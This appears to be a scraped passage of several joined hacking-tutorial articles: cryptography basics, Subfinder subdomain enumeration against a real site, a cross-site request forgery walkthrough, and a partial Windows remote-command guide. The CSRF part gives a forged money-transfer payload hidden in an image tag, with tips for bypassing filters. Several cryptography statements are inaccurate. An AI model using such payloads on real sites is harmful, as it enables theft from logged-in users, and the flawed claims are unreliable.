overwhelming to the beginner. Iwilluse the term "collision," as there really is no other word in plain English that can replace it.Let's get started by breaking encryption into several categories.Types of CryptographyThere are several ways to categorize encryption, but for our purposes here, I have broken them down into four main areas.Symmetric EncryptionAsymmetric EncryptionHashesWirelessA Word About Key SizeIn the world of cryptography, sizedoesmatter! In general, the larger the key, the more secure the encryption. This means that AES with a 256-bit key is stronger than AES with an 128-bit key and likely will be more difficult to break. Within the same encryption algorithm, the larger the key, the stronger the encryption.It does not necessarily mean that larger keys mean stronger encryptionbetweenencryption algorithms. Between algorithms, the strength of the encryption is dependent on both the particulars of the algorithm and the key size.Symmetric CryptographySymmetric cryptography is where we have the same key at the sender and receiver. It is probably the most common form of cryptography. You have a password or key that encrypts a message and I have the same password to decrypt the message. Anyone else can't read our message or data.Symmetric cryptography is very fast, so it is well-suited for bulk storage or streaming applications. The drawback to symmetric cryptography is what is called the key exchange. If both ends need the same key, they need to use a third channel to exchange the key and therein lies the weakness. If there are two people who want to encrypt their communication and they are 12,000 miles apart, how do they exchange the key? This key exchange then is fraught with the all the problems of the confidentiality of the medium they choose, whether it be telephone, mail, email, face-to-face, etc. The key exchange can be intercepted and render the confidentiality of the encryption moot.Some of the common symmetric algorithms that you should be familiar with are:DES- This was one of the original and oldest encryption schemes developed by IBM. It was found to be flawed and breakable and was used in the original hashing system ofLANMAN hashesin early (pre-2000) Windows systems.3DES- This encryption algorithm was developed in response to the flaws in DES. 3DES applies the DES algorithm three times (hence the name "triple DES") making it slightly more secure than DES.AES- Advanced Encryption Standard is not a encryption algorithm but rather a standard developed by NIST. Presently, it is considered the strongest encryption, uses a 128-, 196-, or 256-bit key and is occupied by the Rijndael algorithm since 2001. Used in WPA2, SSL/TLS, and many other protocols where confidentiality and speed is important.RC4- This is a streaming (it encrypts each bit or byte rather than a block of information) cipher and developed by Ronald Rivest of RSA fame. Used in VoIP andWEP.Blowfish- The first ofBruce Schneier's encryption algorithms. It uses a variable key length and is very secure. It is not patented, so anyone can use it without license.Twofish- A stronger version of Blowfish using a 128- or 256-bit key and was strong contender for AES. Used inCryptcatand OpenPGP, among other places. It also is in the public domain without a patent.Asymmetric CryptographyAsymmetric cryptography usesdifferentkeys on both end of the communication channel. Asymmetric cryptography is very slow, about 1,000 times slower than symmetric cryptography, so we don't want to use it for bulk encryption or streaming communication. It does, however, solve the key exchange problem. Since we don't need to have the same key on both ends of a communication, we don't have the issue of key exchange.Asymmetric cryptography is used primarily when we have two entities unknown to each other that want to exchange a small bit of information, such as a key or other identifying information, such as a certificate. It isnotused for bulk or streaming encryption due to its speed limitations.Some of common asymmetric encryption schemes you should be familiar with are:Diffie-Hellman- Many people in the field of cryptography regard the Diffie-Hellman key exchange to be the greatest development in cryptography (I would have to agree). Without going deep into the mathematics, Diffie and Hellman developed a way to generate keys without having to exchange the keys, thereby solving the key exchange problem that plagues symmetric key encryption.RSA- Rivest, Shamir, and Adleman is a scheme of asymmetric encryption that uses factorization of very large prime numbers as the relationship between the two keys.PKI- Public key infrastructure is the widely used asymmetric system for exchanging confidential information using a private key and a public key.ECC- Elliptical curve cryptography is becoming increasing popular in mobile computing as it efficient, requiring less computing power and energy consumption for the same level of security. ECC relies upon the shared relationship of two functions being on the same elliptical curve.PGP- Pretty Good Privacy uses asymmetric encryption to assure the privacy and integrity of email messages.HashesHashes are one-way encryption. A message or password is encrypted in a way that it cannot be reversed or unencrypted. You might wonder, "What good would it do us to have a something encrypted and then not be able to decrypt it?" Good question!When the message is encrypted it creates a "hash" that becomes a unique, but indecipherable signature for the underlying message. Each and every message is encrypted in a way that it creates a unique hash. Usually, these hashes are a fixed length (an MD5 hash is always 32 characters). In that way, the attacker can not decipher any information about the underlying message from the length of the hash. Due to this, we don't need to know the original message, we simply need to see whether some text creates the same hash to check its integrity.This is why hashes can be used to store passwords. The passwords are stored as hashes and then when someone tries to log in, the system hashes the password and checks to see whether the hash generated matches the hash that has been stored. In addition, hashes are useful for integrity checking, for instance with file downloads or system files.In the world of encryption and hashing, a "collision" is where two different input texts produce the same hash. In other words, the hash is not unique. This can be an issue when we assume that all the hashes are unique such as in certificate exchanges in SSL. NSA used this property of collisions in theStuxnetmalware to provide it with what appeared to be a legitimate Microsoft certificate. Hash algorithms that produce collisions, as you might guess, are flawed and insecure.These are the hashes you should be familiar with.MD4- This was an early hash by Ron Rivest and has largely been discontinued in use due to collisions.MD5- The most widely used hashing system. It's 128-bit and produces a 32-character message digest.SHA1- Developed by the NSA, it is more secure than MD5, but not as widely used. It has 160-bit digest which is usually rendered in 40-character hexadecimal. Often used for certificate exchanges in SSL, but because of recently discovered flaws, is being deprecated for that purpose.Wireless CryptographyWireless cryptography has been a favorite of Null Byte readers as so many here are trying tocrack wireless access points. As you might guess, wireless cryptography is symmetric (for speed), and as with all symmetric cryptography, key exchange is critical.WEP- This was the original encryption scheme for wireless and was quickly discovered to be flawed. It used RC4, but because of the small key size (24-bit), it repeated the IV about every 5,000 packets enabling easy cracking on a busy network.WPA- This was a quick fix for the flaws of WEP, adding a larger key and TKIP to make it slightly more difficult to crack.WPA2-PSK- This was the first of the more secure wireless encryption schemes. It uses a pre-shared key and AES. It then salts the hashes with the AP name or SSID. The hash is exchanged at authentication in a four-way handshake between the client and AP.WPA2-Enterprise- This wireless encryption is the most secure. It uses a 128-bit key, AES, and a remote authentication server (RADIUS).I hope you keep coming back, my rookie hackers, as we continue to explore the wonderful world of information security and hacking! For a more in depth reading on cryptography, I suggest you check outAdam Billman's cryptography guidehere on Null Byte.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Community Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingHow To:Noob's Introductory Guide to Hacking: Where to Get Started?Goodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingIntroduction to Cryptography:Archaic BeginningsGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingNews:Understanding Modern Cryptography: Public KeysGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsNews:Student Sentenced to 8mo. in Jail for Hacking FacebookCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingNews:Let Me Introduce MyselfCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker Training |
How to Discover Hidden Subdomains on Any Website with Subfinder Β« Null Byte :: WonderHowTo | When approaching a target, having a precise and detailed plan of attack is absolutely necessary. One of the main goals is to increase the attack surface since the more opportunities there are for exploitation, the greater the chances of success. Subdomain enumeration is one method used to increase the attack surface, and we'll be using a tool called Subfinder to discover hidden subdomains.Subdomain Enumeration OverviewSubdomain enumeration is an indispensable, often overlooked part of thereconnaissance phase. It is basically the process of finding subdomains for any given domain or set of domains. This enumeration can often reveal many subdomains that are hidden or not publicly exposed β plus the chance offinding vulnerabilitieson forgotten resources is generally much higher than on those that are more frequently tended to.Things likeadmin panels, staging sites, and other internal resources are often found living on subdomains of the target. The thought is, if it is not on the main site, then it can't be found β this couldn't be further from the truth. As we'll soon find out, it's trivial for attackers to uncover hidden subdomains, increasing the attack surface and potentially finding additional vulnerabilities or otherjuicy information.There are a variety of methods that attackers use to enumerate subdomains of a target. One method utilizescertificate trust logsto mine information about available subdomains. This can be a stealthy approach, but the downside is sometimes not many results are returned.Another popular method of subdomain enumeration utilizes passive sources of reconnaissance.Sublist3rused to be to go-to tool for this type ofrecon, but it hasn't had as much development lately and has since fallen out of favor with many security folks.Luckily, Subfinder can fill that gap. Written in the Go programming language, it is simple, lightweight, and optimized for speed. The codebase is modular, making it easy to contribute and build upon, and stdin and stdout support are included for effortless workflow integration.Installing SubfinderTo get started withSubfinder, Go needs to be installed on our system. The easiest way to do this is through thepackage manager:~# apt install golangNext, we can grab the latest release from GitHub:~# wget https://github.com/projectdiscovery/subfinder/releases/download/v2.4.5/subfinder_2.4.5_linux_amd64.tar.gz
--2020-09-28 14:20:28-- https://github.com/projectdiscovery/subfinder/releases/download/v2.4.5/subfinder_2.4.5_linux_amd64.tar.gz
Resolving github.com (github.com)... 140.82.112.4
Connecting to github.com (github.com)|140.82.112.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github-production-release-asset-2e65be.s3.amazonaws.com/127519518/40182b80-ff6f-11ea-88c9-501330b47615?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20200928%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20200928T192028Z&X-Amz-Expires=300&X-Amz-Signature=840414749207876b50c712ca386d8bfd3594a60419a4ff379684652065d9fc0a&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=127519518&response-content-disposition=attachment%3B%20filename%3Dsubfinder_2.4.5_linux_amd64.tar.gz&response-content-type=application%2Foctet-stream [following]
--2020-09-28 14:20:28-- https://github-production-release-asset-2e65be.s3.amazonaws.com/127519518/40182b80-ff6f-11ea-88c9-501330b47615?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20200928%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20200928T192028Z&X-Amz-Expires=300&X-Amz-Signature=840414749207876b50c712ca386d8bfd3594a60419a4ff379684652065d9fc0a&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=127519518&response-content-disposition=attachment%3B%20filename%3Dsubfinder_2.4.5_linux_amd64.tar.gz&response-content-type=application%2Foctet-stream
Resolving github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)... 52.216.26.20
Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)|52.216.26.20|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3892616 (3.7M) [application/octet-stream]
Saving to: βsubfinder_2.4.5_linux_amd64.tar.gzβ
subfinder_2.4.5_linux_amd64.tar.gz 100%[=====================================================================================>] 3.71M 6.80MB/s in 0.5s
2020-09-28 14:20:29 (6.80 MB/s) - βsubfinder_2.4.5_linux_amd64.tar.gzβ saved [3892616/3892616]And extract it in our current working directory:~# tar xzf subfinder_2.4.5_linux_amd64.tar.gzThen, we can move the binary file to a directory in our path so we can run it from anywhere:~# cp subfinder /usr/local/bin/Now we can easily run Subfinder from anywhere on our system:~# subfinder
_ __ _ _
____ _| |__ / _(_)_ _ __| |___ _ _
(_-< || | '_ \ _| | ' \/ _ / -_) '_|
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.
[INF] Configuration file saved to /root/.config/subfinder/config.yaml
[FTL] Program exiting: no input list providedUse the-hflag to see usage and help information:~# subfinder -h
Usage of subfinder:
-all
Use all sources (slow) for enumeration
-cd
Upload results to the Chaos API (api-key required)
-config string
Configuration file for API Keys, etc (default "/root/.config/subfinder/config.yaml")
-d string
Domain to find subdomains for
-dL string
File containing list of domains to enumerate
-exclude-sources string
List of sources to exclude from enumeration
-json
Write output in JSON lines Format
-ls
List all available sources
-max-time int
Minutes to wait for enumeration results (default 10)
-nC
Don't Use colors in output
-nW
Remove Wildcard & Dead Subdomains from output
-o string
File to write output to (optional)
-oD string
Directory to write enumeration results to (optional)
-oI
Write output in Host,IP format
-oJ
Write output in JSON lines Format
-r string
Comma-separated list of resolvers to use
-rL string
Text file containing list of resolvers to use
-recursive
Use only recursive subdomain enumeration sources
-silent
Show only subdomains in output
-sources string
Comma separated list of sources to use
-t int
Number of concurrent goroutines for resolving (default 10)
-timeout int
Seconds to wait before timing out (default 30)
-v Show Verbose output
-version
Show version of subfinderA useful feature of Subfinder is that it can utilizeAPI keysfrom a multitude of services for more thorough enumeration. The configuration file is automatically created when Subfinder first runs, and it usually resides under the home directory:~# nano ~/.config/subfinder/config.yamlScrolling down toward the bottom, there is a section where API keys can be entered:binaryedge: example-api-key-goes-here-1a2b3c4d
censys: []
certspotter: []
chaos: []
dnsdb: []
github: []
intelx: []
passivetotal: []
recon: []
robtex: []
securitytrails: []
shodan: []
spyse: []
threatbook: []
urlscan: []
virustotal: []
zoomeye: []
subfinder-version: ""Now that everything is configured, let's enumerate some subdomains.Finding Subdomains with SubfinderThe most basic way to use Subfinder is to provide it with a domain to enumerate β use the-dflag to do so:~# subfinder -d wonderhowto.com
_ __ _ _
____ _| |__ / _(_)_ _ __| |___ _ _
(_-< || | '_ \ _| | ' \/ _ / -_) '_|
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.
[INF] Enumerating subdomains for wonderhowto.com
piano.wonderhowto.com
hobbies-toys.wonderhowto.com
actionscript.wonderhowto.com
potato-gun.wonderhowto.com
techhutus.wonderhowto.com
wealth.wonderhowto.com
oldrepublic.wonderhowto.com
...
zines.wonderhowto.com
pilates.wonderhowto.com
lifestylewebtv.wonderhowto.com
canning.wonderhowto.com
magic-the-gathering.wonderhowto.com
ls1www.wonderhowto.com
[INF] Found 1018 subdomains for wonderhowto.com in 5 seconds 901 millisecondsYou can see how fast this is, discovering just over a thousand subdomains in five seconds. To increase verbosity and list the source of enumeration, we can add the-vflag:~# subfinder -d wonderhowto.com -v
_ __ _ _
____ _| |__ / _(_)_ _ __| |___ _ _
(_-< || | '_ \ _| | ' \/ _ / -_) '_|
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.
[INF] Enumerating subdomains for wonderhowto.com
[hackertarget] djbyron200.wonderhowto.com
[hackertarget] rat-pack-election-10.wonderhowto.com
[hackertarget] xbox-360.wonderhowto.com
[hackertarget] wizard101.wonderhowto.com
[hackertarget] fifa-11.wonderhowto.com
[hackertarget] tech911.wonderhowto.com
...Sometimes it is also useful to be able to hide everything except the results β this can be especially useful for scripting andautomation. Simply use the-silentflag to only output found subdomains:~# subfinder -d wonderhowto.com -silent
embird.wonderhowto.com
php.wonderhowto.com
adobe-fireworks.wonderhowto.com
medical-diagonosis.wonderhowto.com
paralympic.wonderhowto.com
lifeschool.wonderhowto.com
...We can also save the results to an output file for later use with the-oflag:~# subfinder -d wonderhowto.com -o results.txt
_ __ _ _
____ _| |__ / _(_)_ _ __| |___ _ _
(_-< || | '_ \ _| | ' \/ _ / -_) '_|
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.
[INF] Enumerating subdomains for wonderhowto.com
ceramics.wonderhowto.com
motocross.wonderhowto.com
cricket.wonderhowto.com
3ds-max.wonderhowto.com
...Subfinder can take a list of domains to enumerate as well. Use the-dLflag followed by the list of domains:~# subfinder -dL subs.txt
_ __ _ _
____ _| |__ / _(_)_ _ __| |___ _ _
(_-< || | '_ \ _| | ' \/ _ / -_) '_|
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.
[INF] Enumerating subdomains for wonderhowto.com
australia.wonderhowto.com
bridge.wonderhowto.com
scavenger-hunt.wonderhowto.com
...Alternatively, we can pipe the list as input to Subfinder:~# cat subs.txt | subfinder
_ __ _ _
____ _| |__ / _(_)_ _ __| |___ _ _
(_-< || | '_ \ _| | ' \/ _ / -_) '_|
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.
[INF] Enumerating subdomains for wonderhowto.com
ediblesinjars.wonderhowto.com
www.googleplus.wonderhowto.com
...By default, Subfinder only uses some of the sources to discover hidden subdomains, opting for speed instead of thoroughness. But we can enable the tool to use all sources with the-alloption:~# subfinder -d wonderhowto.com -all
_ __ _ _
____ _| |__ / _(_)_ _ __| |___ _ _
(_-< || | '_ \ _| | ' \/ _ / -_) '_|
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.
[INF] Enumerating subdomains for wonderhowto.com
canon5d.wonderhowto.com
teaching.wonderhowto.com
sailing.wonderhowto.com
...
odd.wonderhowto.com
oneplus.wonderhowto.com
fw3.www.wonderhowto.com
[INF] Found 1040 subdomains for wonderhowto.com in 1 minute 400 millisecondsAs you can see, it takes a little longer, but slightly more results were returned. To conveniently view all the sources this tool utilizes, use the-lsflag:~# subfinder -ls
_ __ _ _
____ _| |__ / _(_)_ _ __| |___ _ _
(_-< || | '_ \ _| | ' \/ _ / -_) '_|
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.
[INF] Current list of available sources. [35]
[INF] Sources marked with an * needs key or token in order to work.
[INF] You can modify /root/.config/subfinder/config.yaml to configure your keys / tokens.
alienvault
anubis
archiveis
binaryedge *
bufferover
cebaidu
censys
certspotter *
certspotterold
chaos *
commoncrawl
crtsh
dnsdumpster
dnsdb *
github *
hackertarget
ipv4info
intelx
passivetotal
rapiddns
riddler
recon *
robtex *
securitytrails *
shodan *
sitedossier
spyse *
sublist3r
threatbook *
threatcrowd
threatminer
virustotal *
waybackarchive
ximcx
zoomeyeAs indicated by the information on the screen, sources marked with an asterisk need an API key or token to work properly. To pick and choose which sources to use during a scan, the-sourcesswitch can be used:~# subfinder -d wonderhowto.com -v -sources alienvault,censys,zoomeye
_ __ _ _
____ _| |__ / _(_)_ _ __| |___ _ _
(_-< || | '_ \ _| | ' \/ _ / -_) '_|
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.
[INF] Enumerating subdomains for wonderhowto.com
[alienvault] i.wonderhowto.com
[alienvault] img.wonderhowto.com
[alienvault] about-technology.wonderhowto.com
[alienvault] computer-pranks.wonderhowto.com
...Wrapping UpIn this tutorial, we learned a bit about subdomain enumeration and how it can be useful for penetration testers and hackers to increase the overall attack surface. First, we installed Subfinder and got it configured on our system. Then, we ran through some of the options this tool has to offer, including enumerating multiple domains, customizing results, and using API keys to enhance recon. Pretty simple, right?Don't Miss:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byMauricio Mascaro/PexelsRelatedHow To:Quickly Look Up the Valid Subdomains for Any WebsiteHow To:Force Safari to Automatically Show Reader View for Specific Websites on Your iPhoneHow To:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerHack Like a Pro:Abusing DNS for ReconnaissanceAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Bypass Facebook's HSTSHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Conduct Recon on a Web Target with Python ToolsAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Use Photon Scanner to Scrape Web OSINT DataHow To:Write Your Own Subdomain Enumeration Script for Better ReconHow To:Find Identifying Information from a Phone Number Using OSINT ToolsHow To:Keep Safari's Toolbars Hidden While Scrolling Webpages in iOS 13How To:Easily Generate Hundreds of Phishing DomainsNews:Magic Leap's Website Has an Immersive Reality Experience Hidden in Plain Sight, if You Know Where to LookHow To:Get Rid of Annoying Discover Stories in Your Snapchat FeedHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Use Solo Mode, Locking Layers and Hiding Layers Xara Web DesignerNews:Welcome to the world of Whidbey IslandNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsNews:Proposition 25How To:A Guide to Steganography, Part 3: How to Hide Text and Images in PicturesThe Tabletop Demonstrator:A PVC Filmmaking ContraptionNews:Awesome LEGO JewelryHow To:Create a Hidden Piston Door in MinecraftNews:Discover The Secrests To Custom Paint and AirbrushingNews:More Unreleased goodies discoveredNews:Hide & Seek Airbag ExplosionNews:Are u depressed?How To:A Guide to Steganography, Part 2: How to Hide Files and Archives in Text or Image FilesNews:Reconnect to Victim's System SuccessNews:Oceania Palace - hidden light trickNews:Two Earth-Sized Planets Discovered by NASASecure Your Computer, Part 4:Use Encryption to Make a Hidden Operating SystemHow To:Deal With Annoying People on Google+ & FacebookNews:"This Guy Has My MacBook"βA Tale of Evil, Redemption & the Power of the App |
How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against It Β« Null Byte :: WonderHowTo | Cross-Site Request Forgery (CSRF, pronounce "sea-surf") is a common web exploit. However, for unknown reasons it's not used very often. It plays on a given website's trust in a web browserby executing another website's form action, for example, sending money to another person. It's usually placed in abnormal places like HTML image tags.A website will automatically load the form action from the other site if the users cookies are still active, because it's placed in a tag that loads its content when the page is loaded. This is a very undesired outcome!In thisNull Byte, we're going to see exactly how these attacks work and how we can prevent them in code, as well as on the user-end to stop them from being used on you.Step1Set the StageFor this attack to work you need a website that allows HTML. To find this out, try to craft an HTML link on a post or private message somewhere with the following code.<a href="www.google.com" rel="nofollow" target="_blank" >google</a>If you get a clickable link likethis, then you've done it correctly and the site does allow HTML. However, for this to work a site must not check forHTTP refererheaders.The user being targeted for this form of CSRFmustbe logged into the site we are forging a request from.Step2ExecutionAn attacker needs to make sure the user is logged into the target site. Next, a form action needs to be found that initiates a certain action, one that can be manipulated. Search a page source or test submit forms until you find something like this:http://www.somebank.com/moneysend?from=alex&amount=100&for=nullbyteYou can manipulate it to send more money, like so:http://www.somebank.com/moneysend?from=alex&amount=999999&for=nullbyteTo deploy this attack, we just toss this forged link into an image tag.<img src="http://www.somebank.com/moneysend?from=alex&amount=9999999&for=nullbyte">This attack vector will load whenever the attack target views the page with the spoofed image tag on it. So just post the code to any old site that allows HTML and it will work.But what if they have filter protection? Well, you can use anonymous redirect services or find anXSSexploit to open a new page with JavaScript, which will bypass any redirect filters. This is a very dangerous attack.Prevention MeasuresUseNoScript. It will block XSS and other cross-site attacks.Disable automatic image loading in your browser.Only use sites that you trust. However, this only increases your chances of being safe.YouTubehas CSRF vulnerabilities on literally every action a user can perform on the site.Come say hello to the Null Byte crew! We're starting to get a lot of new members in IRC, you shouldjoin us!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto viaDr. JaysRelatedNews:8 Tips for Creating Strong, Unbreakable PasswordsNews:'Hackers-for-Hire' Attempted to Steal Baidu's Self-Driving Car SecretsHow To:Fix Your Hacked and Malware-Infested Website with GoogleHow To:This LastPass Phishing Hack Can Steal All Your PasswordsβHere's How to Prevent ItNews:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)News:Apple Says iPhone & iCloud Are Safe After Claimed Breach by 'Turkish Crime Family'How To:This Course Bundle Will Teach You How to Start & Grow a BusinessNews:The Biometric Authentication ConundrumApple Pay Cash 101:What You Need to Get StartedHow To:Patch the SSL Bug Without Updating Your Jailbroken iPad or iPhone to iOS 7.0.6How To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Disable the 'Unlock iPhone to Use Accessories' Notification in iOS 11.4.1 & HigherHow To:Prevent hackers from attacking you on RunescapeHow To:Harness the Power of Google Analytics with This $20 TrainingApple Pay Cash 101:How to Accept or Reject Money from Friends & FamilyHow To:Write an XSS Cookie Stealer in JavaScript to Steal PasswordsHow To:Twitter's Massive Security Flaw Makes Your Password Easy to HackNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreNews:Social Hacking and Protecting Yourself from Prying EyesNews:Update 6/17News:A Cool Site I Found, Write Reviews and Get paid!News:FarmVille Free Animal with Facebook Credits Farm Cash PurchaseGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Save Big without SkimpingHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:Infinity art Photography Expo - Deadline January 15, 2011News:Indie and Mainstream Online Games Shut Down by LulzSecNews:9 facial masks you can make with ingredients from the kitchenNews:Mystery Game - Black Stallion!How To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Mine Bitcoin and Make MoneyHow To:8 Weird Ways to Cool Down for SummerNews:Holiday Buildings, Train, Gypsy Horse Released and Unwither Ring!News:Blue Cow and Blue Tree have hit the market in Farmville!Smartphone Challenge:Summer Break CashNews:Win Cash!News:Johnny Cash Fans...Learn "Folsom Prison Blues"Forbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsNews:Beezag!How To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them) |
Hack Like a Pro: Windows CMD Remote Commands for the Aspiring Hacker, Part 1 Β« Null Byte :: WonderHowTo | Welcome back, my greenhorn hackers!Many new hackers come from a Windows background, but seldom, if ever, use its built-in command-line tools. As a hacker, you will often be forced to control the target system using just Windows commands and no GUI.Although we would love to getMetasploit's Meterpreter on the target and use all its capabilities on the owned system, that is not always possible. Some exploits will only allow us to get a CMD shell on the target Windows system.In these cases, you will need to understand how to control the system strictly through the command prompt, without ever having the convenience and familiarity of the Windows GUI.What I want to do in this tutorial is demonstrate some Windows commands on a Windows 7 system (Windows 7 is still over 50% of the installed base of Windows systems), but these commands change very little from Windows version to Windows version. I will be running the Windows commands from a remoteKalisystem on the target.Step 1: Connect to a Remote Windows System from KaliWindows makes a distinction between commands that can be run while physically on the system and those that can be run remotely. We can't assume that a command we can run while on the system will run remotely.Here, we are only interested in those that can be run remotely. In my case, I will be connecting to the target system with aNetcatconnection, but aMetasploit-spawned command shell or other will work just as well.Step 2: Basic CommandsIn many ways, Windows CMD commands are similar to Linux/Unix commands (Unix preceded these commands by over a decade, and Microsoft borrowed heavily from it). At its most basic, we need to change directories within the file system. Like Linux, Windows uses thecd(change directory) command. To travel to the root of the directory system, we can just type:cd \In addition, we can move up one level in the directory structure by typing:cd ..If we want to see the contents of a directory, we typediras seen above. Some other key and basic commands include:del <filename>This will delete the file, similar to the Linuxrm.type <filename>This will display the contents of the file, similar to the Linuxcat.As you can see below, I usedtypeto display the contents of the confidentialfile.txt. I thendel(delete) the confidentialfile.txt, and when I return to display the contents of it again, I get the message that "The system cannot find the specified file."To create a new directory, we use themd(make directory) command (in 